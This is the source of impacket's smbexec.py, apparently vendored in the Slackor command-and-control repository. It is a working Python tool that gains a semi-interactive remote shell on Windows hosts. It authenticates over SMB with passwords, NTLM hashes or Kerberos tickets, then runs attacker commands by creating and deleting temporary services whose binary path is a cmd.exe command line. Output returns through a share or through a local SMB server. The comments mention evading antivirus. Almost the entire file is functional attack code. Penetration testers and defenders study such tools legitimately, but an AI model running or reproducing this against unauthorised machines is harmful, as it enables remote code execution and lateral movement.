github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/smbexec.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # A similar approach to psexec w/o using RemComSvc. The technique is described here 9 # https://www.optiv.com/blog/owning-computers-without-shell-access 10 # Our implementation goes one step further, instantiating a local smbserver to receive the 11 # output of the commands. This is useful in the situation where the target machine does NOT 12 # have a writeable share available. 13 # Keep in mind that, although this technique might help avoiding AVs, there are a lot of 14 # event logs generated and you can't expect executing tasks that will last long since Windows 15 # will kill the process since it's not responding as a Windows service. 16 # Certainly not a stealthy way. 17 # 18 # This script works in two ways: 19 # 1) share mode: you specify a share, and everything is done through that share. 20 # 2) server mode: if for any reason there's no share available, this script will launch a local 21 # SMB server, so the output of the commands executed are sent back by the target machine 22 # into a locally shared folder. Keep in mind you would need root access to bind to port 445 23 # in the local machine. 24 # 25 # Author: 26 # beto (@agsolino) 27 # 28 # Reference for: 29 # DCE/RPC and SMB. 30 from __future__ import division 31 from __future__ import print_function 32 import sys 33 import os 34 import cmd 35 import argparse 36 try: 37 import ConfigParser 38 except ImportError: 39 import configparser as ConfigParser 40 import logging 41 from threading import Thread 42 43 from impacket.examples import logger 44 from impacket import version, smbserver 45 from impacket.smbconnection import SMB_DIALECT 46 from impacket.dcerpc.v5 import transport, scmr 47 48 OUTPUT_FILENAME = '__output' 49 BATCH_FILENAME = 'execute.bat' 50 SMBSERVER_DIR = '__tmp' 51 DUMMY_SHARE = 'TMP' 52 53 class SMBServer(Thread): 54 def __init__(self): 55 Thread.__init__(self) 56 self.smb = None 57 58 def cleanup_server(self): 59 logging.info('Cleaning up..') 60 try: 61 os.unlink(SMBSERVER_DIR + '/smb.log') 62 except OSError: 63 pass 64 os.rmdir(SMBSERVER_DIR) 65 66 def run(self): 67 # Here we write a mini config for the server 68 smbConfig = ConfigParser.ConfigParser() 69 smbConfig.add_section('global') 70 smbConfig.set('global','server_name','server_name') 71 smbConfig.set('global','server_os','UNIX') 72 smbConfig.set('global','server_domain','WORKGROUP') 73 smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') 74 smbConfig.set('global','credentials_file','') 75 76 # Let's add a dummy share 77 smbConfig.add_section(DUMMY_SHARE) 78 smbConfig.set(DUMMY_SHARE,'comment','') 79 smbConfig.set(DUMMY_SHARE,'read only','no') 80 smbConfig.set(DUMMY_SHARE,'share type','0') 81 smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) 82 83 # IPC always needed 84 smbConfig.add_section('IPC$') 85 smbConfig.set('IPC$','comment','') 86 smbConfig.set('IPC$','read only','yes') 87 smbConfig.set('IPC$','share type','3') 88 smbConfig.set('IPC$','path') 89 90 self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) 91 logging.info('Creating tmp directory') 92 try: 93 os.mkdir(SMBSERVER_DIR) 94 except Exception as e: 95 logging.critical(str(e)) 96 pass 97 logging.info('Setting up SMB Server') 98 self.smb.processConfigFile() 99 logging.info('Ready to listen...') 100 try: 101 self.smb.serve_forever() 102 except: 103 pass 104 105 def stop(self): 106 self.cleanup_server() 107 self.smb.socket.close() 108 self.smb.server_close() 109 self._Thread__stop() 110 111 class CMDEXEC: 112 def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, 113 doKerberos=None, kdcHost=None, mode=None, share=None, port=445): 114 115 self.__username = username 116 self.__password = password 117 self.__port = port 118 self.__serviceName = 'BTOBTO' 119 self.__domain = domain 120 self.__lmhash = '' 121 self.__nthash = '' 122 self.__aesKey = aesKey 123 self.__doKerberos = doKerberos 124 self.__kdcHost = kdcHost 125 self.__share = share 126 self.__mode = mode 127 self.shell = None 128 if hashes is not None: 129 self.__lmhash, self.__nthash = hashes.split(':') 130 131 def run(self, remoteName, remoteHost): 132 stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName 133 logging.debug('StringBinding %s'%stringbinding) 134 rpctransport = transport.DCERPCTransportFactory(stringbinding) 135 rpctransport.set_dport(self.__port) 136 rpctransport.setRemoteHost(remoteHost) 137 if hasattr(rpctransport,'preferred_dialect'): 138 rpctransport.preferred_dialect(SMB_DIALECT) 139 if hasattr(rpctransport, 'set_credentials'): 140 # This method exists only for selected protocol sequences. 141 rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 142 self.__nthash, self.__aesKey) 143 rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 144 145 self.shell = None 146 try: 147 if self.__mode == 'SERVER': 148 serverThread = SMBServer() 149 serverThread.daemon = True 150 serverThread.start() 151 self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) 152 self.shell.cmdloop() 153 if self.__mode == 'SERVER': 154 serverThread.stop() 155 except (Exception, KeyboardInterrupt) as e: 156 if logging.getLogger().level == logging.DEBUG: 157 import traceback 158 traceback.print_exc() 159 logging.critical(str(e)) 160 if self.shell is not None: 161 self.shell.finish() 162 sys.stdout.flush() 163 sys.exit(1) 164 165 class RemoteShell(cmd.Cmd): 166 def __init__(self, share, rpc, mode, serviceName): 167 cmd.Cmd.__init__(self) 168 self.__share = share 169 self.__mode = mode 170 self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME 171 self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 172 self.__outputBuffer = b'' 173 self.__command = '' 174 self.__shell = '%COMSPEC% /Q /c ' 175 self.__serviceName = serviceName 176 self.__rpc = rpc 177 self.intro = '[!] Launching semi-interactive shell - Careful what you execute' 178 179 self.__scmr = rpc.get_dce_rpc() 180 try: 181 self.__scmr.connect() 182 except Exception as e: 183 logging.critical(str(e)) 184 sys.exit(1) 185 186 s = rpc.get_smb_connection() 187 188 # We don't wanna deal with timeouts from now on. 189 s.setTimeout(100000) 190 if mode == 'SERVER': 191 myIPaddr = s.getSMBServer().get_socket().getsockname()[0] 192 self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) 193 194 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 195 resp = scmr.hROpenSCManagerW(self.__scmr) 196 self.__scHandle = resp['lpScHandle'] 197 self.transferClient = rpc.get_smb_connection() 198 self.do_cd('') 199 200 def finish(self): 201 # Just in case the service is still created 202 try: 203 self.__scmr = self.__rpc.get_dce_rpc() 204 self.__scmr.connect() 205 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 206 resp = scmr.hROpenSCManagerW(self.__scmr) 207 self.__scHandle = resp['lpScHandle'] 208 resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) 209 service = resp['lpServiceHandle'] 210 scmr.hRDeleteService(self.__scmr, service) 211 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 212 scmr.hRCloseServiceHandle(self.__scmr, service) 213 except scmr.DCERPCException: 214 pass 215 216 def do_shell(self, s): 217 os.system(s) 218 219 def do_exit(self, s): 220 return True 221 222 def emptyline(self): 223 return False 224 225 def do_cd(self, s): 226 # We just can't CD or maintain track of the target dir. 227 if len(s) > 0: 228 logging.error("You can't CD under SMBEXEC. Use full paths.") 229 230 self.execute_remote('cd ' ) 231 if len(self.__outputBuffer) > 0: 232 # Stripping CR/LF 233 self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' 234 self.__outputBuffer = b'' 235 236 def do_CD(self, s): 237 return self.do_cd(s) 238 239 def default(self, line): 240 if line != '': 241 self.send_data(line) 242 243 def get_output(self): 244 def output_callback(data): 245 self.__outputBuffer += data 246 247 if self.__mode == 'SHARE': 248 self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) 249 self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) 250 else: 251 fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') 252 output_callback(fd.read()) 253 fd.close() 254 os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) 255 256 def execute_remote(self, data): 257 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ 258 self.__shell + self.__batchFile 259 if self.__mode == 'SERVER': 260 command += ' & ' + self.__copyBack 261 command += ' & ' + 'del ' + self.__batchFile 262 263 logging.debug('Executing %s' % command) 264 resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, 265 lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) 266 service = resp['lpServiceHandle'] 267 268 try: 269 scmr.hRStartServiceW(self.__scmr, service) 270 except: 271 pass 272 scmr.hRDeleteService(self.__scmr, service) 273 scmr.hRCloseServiceHandle(self.__scmr, service) 274 self.get_output() 275 276 def send_data(self, data): 277 self.execute_remote(data) 278 print(self.__outputBuffer.decode()) 279 self.__outputBuffer = b'' 280 281 282 # Process command-line arguments. 283 if __name__ == '__main__': 284 # Init the example's logger theme 285 logger.init() 286 print(version.BANNER) 287 288 parser = argparse.ArgumentParser() 289 290 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') 291 parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' 292 '(default C$)') 293 parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', 294 help='mode to use (default SHARE, SERVER needs root!)') 295 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 296 297 group = parser.add_argument_group('connection') 298 299 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 300 'If omitted it will use the domain part (FQDN) specified in the target parameter') 301 group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 302 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 303 'name and you cannot resolve it') 304 group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 305 help='Destination port to connect to SMB Server') 306 307 group = parser.add_argument_group('authentication') 308 309 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 310 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 311 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 312 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 313 'ones specified in the command line') 314 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 315 '(128 or 256 bits)') 316 317 318 if len(sys.argv)==1: 319 parser.print_help() 320 sys.exit(1) 321 322 options = parser.parse_args() 323 324 if options.debug is True: 325 logging.getLogger().setLevel(logging.DEBUG) 326 else: 327 logging.getLogger().setLevel(logging.INFO) 328 329 import re 330 domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') 331 332 #In case the password contains '@' 333 if '@' in remoteName: 334 password = password + '@' + remoteName.rpartition('@')[0] 335 remoteName = remoteName.rpartition('@')[2] 336 337 if domain is None: 338 domain = '' 339 340 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 341 from getpass import getpass 342 password = getpass("Password:") 343 344 if options.target_ip is None: 345 options.target_ip = remoteName 346 347 if options.aesKey is not None: 348 options.k = True 349 350 try: 351 executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, 352 options.dc_ip, options.mode, options.share, int(options.port)) 353 executer.run(remoteName, options.target_ip) 354 except Exception as e: 355 if logging.getLogger().level == logging.DEBUG: 356 import traceback 357 traceback.print_exc() 358 logging.critical(str(e)) 359 sys.exit(0)